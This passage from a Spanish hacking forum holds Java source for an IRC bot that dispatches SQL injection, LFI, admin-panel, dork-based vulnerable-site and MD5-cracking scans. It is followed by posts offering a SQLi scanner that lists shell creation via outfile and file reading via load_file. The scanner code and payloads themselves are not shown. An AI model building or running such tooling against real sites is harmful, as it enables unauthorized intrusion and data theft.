                    Pattern search = null;
                    Matcher regex = null;

                    search = Pattern.compile("^PING(.*)$");
                    regex = search.matcher(contenido);
                    if (regex.find()) {
                        escribir.write("PONG " + regex.group(1) + "\r\n");
                        escribir.flush();
                    }

                    search = Pattern.compile(":(.*)!(.*) PRIVMSG (.*) :(.*)");
                    regex = search.matcher(contenido);
                    if (regex.find()) {
                        String control_admin = regex.group(1);
                        String text = regex.group(4);
                        if (control_admin.equals(admin)) {

                            //
                            search = Pattern.compile("!sqli (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String target = regex.group(1);
                                String code = funcion.SQLI_Scanner(target);
                                responder(code);
                            }

                            search = Pattern.compile("!lfi (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String target = regex.group(1);
                                String code = funcion.scan_lfi(target);
                                responder(code);
                            }

                            search = Pattern.compile("!panel (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String target = regex.group(1);
                                String code = funcion.panel_finder(target);
                                responder(code);
                            }

                            search = Pattern.compile("!fuzzdns (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String target = regex.group(1);
                                String code = funcion.fuzz_dns(target);
                                responder(code);
                            }

                            search = Pattern.compile("!locateip (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String target = regex.group(1);
                                String code = funcion.locate_ip(target);
                                responder(code);
                            }

                            search = Pattern.compile("!sqlifinder (.*) (.*) (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String dork = regex.group(1);
                                int cantidad = Integer.parseInt(regex.group(2));
                                String buscador = regex.group(3);
                                String code = funcion.find_sqli(dork, cantidad, buscador);
                                responder(code);
                            }

                            search = Pattern.compile("!rfifinder (.*) (.*) (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String dork = regex.group(1);
                                int cantidad = Integer.parseInt(regex.group(2));
                                String buscador = regex.group(3);
                                String code = funcion.find_rfi(dork, cantidad, buscador);
                                responder(code);
                            }

                            search = Pattern.compile("!crackit (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String md5 = regex.group(1);
                                String code = funcion.crack_md5(md5);
                                responder(code);
                            }

                            search = Pattern.compile("!tinyurl (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String url = regex.group(1);
                                String code = funcion.tiny_url(url);
                                responder(code);
                            }

                            search = Pattern.compile("!httpfinger (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String page = regex.group(1);
                                String code = funcion.http_finger(page);
                                responder(code);
                            }

                            search = Pattern.compile("!md5 (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String texto = regex.group(1);
                                String code = "[+] MD5 : " + funcion.md5_encode(texto);
                                responder(code);
                            }

                            search = Pattern.compile("!base64 (.*) (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String option = regex.group(1);
                                String texto = regex.group(2);
                                String code = "";
                                if ("encode".equals(option)) {
                                    code = "[+] Base64 : " + funcion.encode_base64(texto);
                                }
                                if ("decode".equals(option)) {
                                    code = "[+] Text : " + funcion.decode_base64(texto);
                                }
                                responder(code);
                            }

                            search = Pattern.compile("!ascii (.*) (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String option = regex.group(1);
                                String texto = regex.group(2);
                                String code = "";
                                if ("encode".equals(option)) {
                                    code = "[+] ASCII : " + funcion.encode_ascii(texto);
                                }
                                if ("decode".equals(option)) {
                                    code = "[+] Text : " + funcion.decode_ascii(texto);
                                }
                                responder(code);
                            }

                            search = Pattern.compile("!hex (.*) (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String option = regex.group(1);
                                String texto = regex.group(2);
                                String code = "";
                                if ("encode".equals(option)) {
                                    code = "[+] Hex : " + funcion.encode_hex(texto);
                                }
                                if ("decode".equals(option)) {
                                    code = "[+] Text : " + funcion.decode_hex(texto);
                                }
                                responder(code);
                            }

                            search = Pattern.compile("!help");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String code = "";
                                code = code + "Hi , I am ClapTrap an assistant robot programmed by Doddy Hackman in the year 2015" + "\n";
                                code = code + "[++] Commands" + "\n";
                                code = code + "[+] !help" + "\n";
                                code = code + "[+] !locateip <web>" + "\n";
                                code = code + "[+] !sqlifinder <dork> <count pages> <google/bing>" + "\n";
                                code = code + "[+] !rfifinder <dork> <count pages> <google/bing>" + "\n";
                                code = code + "[+] !panel <page>" + "\n";
                                code = code + "[+] !fuzzdns <domain>" + "\n";
                                code = code + "[+] !sqli <page>" + "\n";
                                code = code + "[+] !lfi <page>" + "\n";
                                code = code + "[+] !crackit <hash>" + "\n";
                                code = code + "[+] !tinyurl <page>" + "\n";
                                code = code + "[+] !httpfinger <page>" + "\n";
                                code = code + "[+] !md5 <text>" + "\n";
                                code = code + "[+] !base64 <encode/decode> <text>" + "\n";
                                code = code + "[+] !ascii <encode/decode> <text>" + "\n";
                                code = code + "[+] !hex <encode/decode> <text>" + "\n";
                                code = code + "[++] Enjoy this IRC Bot" + "\n";
                                responder(code);
                            }

                            //
                        }
                    }
                }
            } catch (IOException e) {
                System.out.println("\n[-] Error connecting");
            }

        }

    }

    // The End ?


    Si quieren bajar el programa lo pueden hacer de aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.
#39
Java / [Java] K0bra 1.0
Abril 01, 2016, 10:20:37 AM
Un simple scanner SQLI hecho en Java , tiene las siguientes funciones :

  • Comprobar vulnerabilidad
  • Buscar numero de columnas
  • Buscar automaticamente el numero para mostrar datos
  • Mostras tablas
  • Mostrar columnas
  • Mostrar bases de datos
  • Mostrar tablas de otra DB
  • Mostrar columnas de una tabla de otra DB
  • Mostrar usuarios de mysql.user
  • Buscar archivos usando load_file
  • Mostrar un archivo usando load_file
  • Mostrar valores
  • Mostrar informacion sobre la DB
  • Crear una shell usando outfile
  • Todo se guarda en logs ordenados

    Unas imagenes :









    Si quieren bajar el proyecto con el codigo fuente lo pueden hacer desde No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#40
Java / [Java] PanelFinder 0.3
Marzo 18, 2016, 10:41:37 AM
Traduccion a Java de este programa para buscar el panel de administracion de una pagina.

Una imagen :



Si quieren bajar el proyecto lo pueden hacer desde No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.